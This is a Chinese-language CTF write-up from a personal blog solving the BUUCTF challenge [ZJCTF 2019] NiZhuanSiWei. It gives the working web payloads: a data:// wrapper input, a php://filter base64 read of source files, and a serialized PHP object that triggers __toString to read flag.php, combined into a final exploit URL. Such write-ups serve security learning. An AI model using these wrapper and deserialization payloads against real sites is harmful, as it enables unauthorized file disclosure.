BUU刷题日记-[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
逆转思维
先审计。用get接受text,file和password三个参数,通过file_get_contents()来读取以text参数为名的文件,如果文件的内容是”welcome to the zjctf”,就echo这个文件,然后判断file中是否有flag字符串,如果没有,就include他,并且将password传来的内容反序列化,在echo之。
因此,首先要做的是将”welcome to the zjctf”写入一个文件,这里使用了php的data伪协议
?text=data://text/plain,welcome to the zjctf |
然后在include file的地方有一个注释提示include useless.php,首先用file伪协议看看
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php |
使用file_get_contents来读file文件的,我们include他,再让password反序列化之后变成一个Flag对象,由于Flag使用了__tostring()方法,因此可以直接被echo出来
|
最终payload为
http://5fa2b82c-970f-4d6d-b046-3d06bc5daeb7.node4.buuoj.cn:81?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
find it之后还皮一下,在注释里
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 π1L4r!
评论